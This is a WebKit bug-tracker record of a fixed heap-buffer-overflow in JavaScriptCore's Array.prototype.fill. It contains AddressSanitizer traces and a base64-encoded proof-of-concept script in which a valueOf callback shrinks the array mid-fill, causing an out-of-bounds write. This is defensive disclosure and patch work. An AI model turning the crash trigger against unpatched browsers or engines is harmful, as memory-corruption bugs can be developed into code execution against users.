<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>285393</bug_id>
          
          <creation_ts>2025-01-04 19:46:40 -0800</creation_ts>
          <short_desc>[JSC] heap-buffer-overflow on WebKit/Source/JavaScriptCore/runtime/WriteBarrier.h:166:17</short_desc>
          <delta_ts>2025-01-07 20:06:46 -0800</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>WebKit</product>
          <component>JavaScriptCore</component>
          <version>WebKit Local Build</version>
          <rep_platform>Unspecified</rep_platform>
          <op_sys>Unspecified</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords>InRadar</keywords>
          <priority>P2</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          <everconfirmed>1</everconfirmed>
          <reporter>rhezashan</reporter>
          <assigned_to name="Yusuke Suzuki">ysuzuki</assigned_to>
          <cc>bfulgham</cc>
    
    <cc>webkit-bug-importer</cc>
    
    <cc>ysuzuki</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>2084890</commentid>
    <comment_count>0</comment_count>
      <attachid>473776</attachid>
    <who name="">rhezashan</who>
    <bug_when>2025-01-04 19:46:40 -0800</bug_when>
    <thetext>Created attachment 473776
poc.js

1. Tested on Webkit branch main
2. Target release - crashes
3. Target debug - crashes
4. Run with `./bin/jsc ./poc.js`

# commit @main
```
commit b3809e07dc65e5678706c3ee334ca12930ebf129 (HEAD -&gt; main, origin/main, origin/HEAD)
Author: Rob Buis &lt;rbuis@igalia.com&gt;
Date:   Sat Jan 4 12:19:18 2025 -0800
```

# Error stack release target
```
=================================================================
==437170==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x52d000023ff8 at pc 0x601974d9c81b bp 0x7fff5fcecb30 sp 0x7fff5fcecb28
WRITE of size 16 at 0x52d000023ff8 thread T0
    #0 0x601974d9c81a in JSC::WriteBarrierBase&lt;JSC::Unknown, WTF::RawValueTraits&lt;JSC::Unknown&gt;&gt;::setWithoutWriteBarrier(JSC::JSValue) /home/rheza/WebKit/Source/JavaScriptCore/runtime/WriteBarrier.h:166:17
    #1 0x601974d9c81a in JSC::ContiguousData&lt;JSC::WriteBarrier&lt;JSC::Unknown, WTF::RawValueTraits&lt;JSC::Unknown&gt;&gt;&gt;::Data::setWithoutWriteBarrier(JSC::JSValue const&amp;) /home/rheza/WebKit/Source/JavaScriptCore/runtime/Butterfly.h:87:20
    #2 0x601974d9c81a in JSC::JSArray::fastFill(JSC::VM&amp;, unsigned int, unsigned int, JSC::JSValue) /home/rheza/WebKit/Source/JavaScriptCore/runtime/JSArray.cpp:520:43
    #3 0x601974a2c8a7 in JSC::arrayProtoFuncFill(JSC::JSGlobalObject*, JSC::CallFrame*) /home/rheza/WebKit/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:1946:20
    #4 0x7e9f7ca10037  (&lt;unknown module&gt;)

0x52d000024000 is located 0 bytes after 16384-byte region [0x52d000020000,0x52d000024000)
allocated by thread T0 here:
    #0 0x601972083606 in aligned_alloc (/home/rheza/WebKit/webkit-clang-main-release/bin/jsc+0xcf9606) (BuildId: 38bf8325b8192e73)
    #1 0x60197639e884 in pas_debug_heap_allocate(unsigned long, unsigned long, pas_allocation_mode) /home/rheza/WebKit/webkit-clang-main-release/bmalloc/Headers/bmalloc/pas_debug_heap.h:102:22
    #2 0x60197639bdd5 in bmalloc_try_allocate_with_alignment_impl(unsigned long, unsigned long, pas_allocation_mode) /home/rheza/WebKit/webkit-clang-main-release/bmalloc/Headers/bmalloc/bmalloc_heap_inlines.h:59:1
    #3 0x60197639bdd5 in bmalloc_try_allocate_with_alignment_inline(unsigned long, unsigned long, pas_allocation_mode) /home/rheza/WebKit/webkit-clang-main-release/bmalloc/Headers/bmalloc/bmalloc_heap_inlines.h:104:19
    #4 0x60197639bdd5 in bmalloc::api::tryMemalign(unsigned long, unsigned long, bmalloc::CompactAllocationMode, bmalloc::HeapKind) /home/rheza/WebKit/webkit-clang-main-release/bmalloc/Headers/bmalloc/bmalloc.h:124:16
    #5 0x60197639bdd5 in WTF::tryFastCompactAlignedMalloc(unsigned long, unsigned long) /home/rheza/WebKit/Source/WTF/wtf/FastMalloc.cpp:780:20
    #6 0x601973f4442e in JSC::LocalAllocator::allocate(JSC::Heap&amp;, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode)::&apos;lambda&apos;()::operator()() const /home/rheza/WebKit/Source/JavaScriptCore/heap/LocalAllocatorInlines.h:41:43
    #7 0x601973f4442e in JSC::HeapCell* JSC::FreeList::allocateWithCellSize&lt;JSC::LocalAllocator::allocate(JSC::Heap&amp;, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode)::&apos;lambda&apos;()&gt;(JSC::LocalAllocator::allocate(JSC::Heap&amp;, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode)::&apos;lambda&apos;() const&amp;, unsigned long) /home/rheza/WebKit/Source/JavaScriptCore/heap/FreeListInlines.h:46:16
    #8 0x601973f4442e in JSC::LocalAllocator::allocate(JSC::Heap&amp;, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) /home/rheza/WebKit/Source/JavaScriptCore/heap/LocalAllocatorInlines.h:38:23
    #9 0x601973f4442e in JSC::Allocator::allocate(JSC::Heap&amp;, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) const /home/rheza/WebKit/Source/JavaScriptCore/heap/AllocatorInlines.h:35:30
    #10 0x601973f4442e in JSC::CompleteSubspace::tryAllocateSlow(JSC::VM&amp;, unsigned long, JSC::GCDeferralContext*) /home/rheza/WebKit/Source/JavaScriptCore/heap/CompleteSubspace.cpp:122:26
    #11 0x601973f43d78 in JSC::CompleteSubspace::allocateSlow(JSC::VM&amp;, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) /home/rheza/WebKit/Source/JavaScriptCore/heap/CompleteSubspace.cpp:108:20

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/rheza/WebKit/Source/JavaScriptCore/runtime/WriteBarrier.h:166:17 in JSC::WriteBarrierBase&lt;JSC::Unknown, WTF::RawValueTraits&lt;JSC::Unknown&gt;&gt;::setWithoutWriteBarrier(JSC::JSValue)
Shadow bytes around the buggy address:
  0x52d000023d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x52d000023d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x52d000023e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x52d000023e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x52d000023f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=&gt;0x52d000023f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[00]
  0x52d000024000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x52d000024080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x52d000024100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x52d000024180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x52d000024200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==437170==ABORTING
```

# Error stack on debug target

```
ASSERTION FAILED: index &lt; m_length
/home/rheza/WebKit/Source/JavaScriptCore/runtime/ButterflyInlines.h(48) : typename ContiguousData&lt;T&gt;::Data JSC::ContiguousData&lt;JSC::WriteBarrier&lt;Unknown, RawValueTraits&lt;Unknown&gt;&gt;&gt;::at(const JSCell *, size_t) [T = JSC::WriteBarrier&lt;Unknown, RawValueTraits&lt;Unknown&gt;&gt;]
1   0x56ea78a0ff04 WTFReportBacktrace
2   0x56ea73fdb9b3 JSC::ContiguousData&lt;JSC::WriteBarrier&lt;JSC::Unknown, WTF::RawValueTraits&lt;JSC::Unknown&gt; &gt; &gt;::at(JSC::JSCell const*, unsigned long)
3   0x56ea7739a257 JSC::JSArray::fastFill(JSC::VM&amp;, unsigned int, unsigned int, JSC::JSValue)
4   0x56ea76f813a1 JSC::arrayProtoFuncFill(JSC::JSGlobalObject*, JSC::CallFrame*)
5   0x7428dba10038 ???
Aborted (core dumped)
```</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2084891</commentid>
    <comment_count>1</comment_count>
    <who name="Radar WebKit Bug Importer">webkit-bug-importer</who>
    <bug_when>2025-01-04 19:46:50 -0800</bug_when>
    <thetext>&lt;rdar://problem/142369820&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2085680</commentid>
    <comment_count>2</comment_count>
    <who name="Yusuke Suzuki">ysuzuki</who>
    <bug_when>2025-01-07 19:10:52 -0800</bug_when>
    <thetext>ToT crash.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2085681</commentid>
    <comment_count>3</comment_count>
    <who name="Yusuke Suzuki">ysuzuki</who>
    <bug_when>2025-01-07 19:12:41 -0800</bug_when>
    <thetext>Pull request: https://github.com/WebKit/WebKit/pull/38698</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>2085688</commentid>
    <comment_count>4</comment_count>
    <who name="EWS">ews-feeder</who>
    <bug_when>2025-01-07 20:06:44 -0800</bug_when>
    <thetext>Committed 288578@main (c702978087bc): &lt;https://commits.webkit.org/288578@main&gt;

Reviewed commits have been landed. Closing PR #38698 and removing active labels.</thetext>
  </long_desc>
      
          <attachment
              isobsolete="0"
              ispatch="0"
              isprivate="0"
          >
            <attachid>473776</attachid>
            <date>2025-01-04 19:46:40 -0800</date>
            <delta_ts>2025-01-04 19:46:40 -0800</delta_ts>
            <desc>poc.js</desc>
            <filename>poc_us_1_output_3_crashes_0.js</filename>
            <type>text/javascript</type>
            <size>217</size>
            <attacher>rhezashan</attacher>
            
              <data encoding="base64">Y29uc3QgdjAgPSBbXTsKZm9yIChsZXQgaTIgPSAwOyBpMiA8IDEwMDAwMDA7IGkyKyspIHsKICAg
IHYwW2kyXSA9IFtdOwp9CmNvbnN0IHYxMCA9IG5ldyBPYmplY3QoT2JqZWN0LCB2MCk7CmZ1bmN0
aW9uIGYxMSgpIHsKICAgIHYwLmxlbmd0aCA9IDA7CiAgICByZXR1cm4gMDsKfQpjb25zdCBvMTQg
PSB7CiAgICAidmFsdWVPZiI6IGYxMSwKfTsKdjAuZmlsbCh2MTAsIG8xNCk7Cg==
</data>

          </attachment>
      

    </bug>

</bugzilla>